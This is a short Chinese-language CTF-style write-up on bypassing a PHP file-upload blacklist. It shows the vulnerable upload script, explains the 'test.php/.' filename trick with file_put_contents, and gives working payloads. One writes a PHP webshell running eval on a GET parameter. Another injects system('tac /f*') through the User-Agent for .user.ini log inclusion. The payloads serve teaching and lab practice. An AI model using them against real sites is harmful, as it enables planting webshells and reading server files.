文件上传绕过

1.file_put_contents 路径漏洞

php 复制代码
 <?php

function waf($filename){
    $black_list = array("ph", "htaccess", "ini");
    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    foreach ($black_list as $value) {
//php stristr()函数 语法

作用:返回一个字符串在另一个字符串中开始位置到结束的字符串,不区分大小写
        if (stristr($ext, $value)){
            return false;
        }
    }
    return true;
}

if(isset($_FILES['file'])){
    $filename = urldecode($_FILES['file']['name']);
    $content = file_get_contents($_FILES['file']['tmp_name']);
    if(waf($filename)){
        file_put_contents($filename, $content);
    } else {
        echo "Please re-upload";
    }
} else{
    highlight_file(__FILE__);
} 

这题看似上了waf,把能够造成敏感文件的php、配置文件等都给搬掉了,但是这里使用了file_put_contents()以及urlencode,当我们上传test.php/.这样的文件时候,因为file_put_contents()第一个参数是文件路径,操作系统会认为你要在test1.php文件所在的目录中创建一个名为.的文件,最后上传的结果就为test.php。

2.写入木马payload:

php 复制代码
<?php fputs(fopen('webshell.php','w'),'<?php eval($_GET['shell']);?>')?>

3.题目过滤了< 不能传木马,然后可以通过.user.ini 配合日志文件包含:

直接UA写马 <?php system('tac /f*');?>

相关推荐
孙同学_1 分钟前
【Linux篇】应用层自定义协议与序列化
linux·服务器·网络
沉迷学习 日益消瘦5 分钟前
(windows环境)白嫖阿里云百炼免费 Token 使用 Claude 教程
windows·阿里云·claude·token·百炼
航Hang*5 分钟前
第3章:Linux系统安全管理——第1节:Linux 防火墙部署(firewalld)
linux·服务器·网络·学习·系统安全·vmware
桦05 分钟前
【Linux复习】:多线程
linux·运维
云飞云共享云桌面6 分钟前
SolidWorks三维设计不用单独买电脑,1台服务器10个设计用
运维·服务器·数据库·3d·电脑
Rabbit_QL6 分钟前
从服务器拷文件到本地:scp 与 rsync 实战
服务器
acaad9 分钟前
访问信创系统的服务器报错Received fatal alert: handshake_failure
运维·服务器
大树8811 分钟前
【无标题】
大数据·运维·服务器·人工智能
南境十里·墨染春水12 分钟前
linux学习进展 基础命令 vi基础命令
linux·运维·服务器·笔记·学习
Deitymoon16 分钟前
linux——读写锁
linux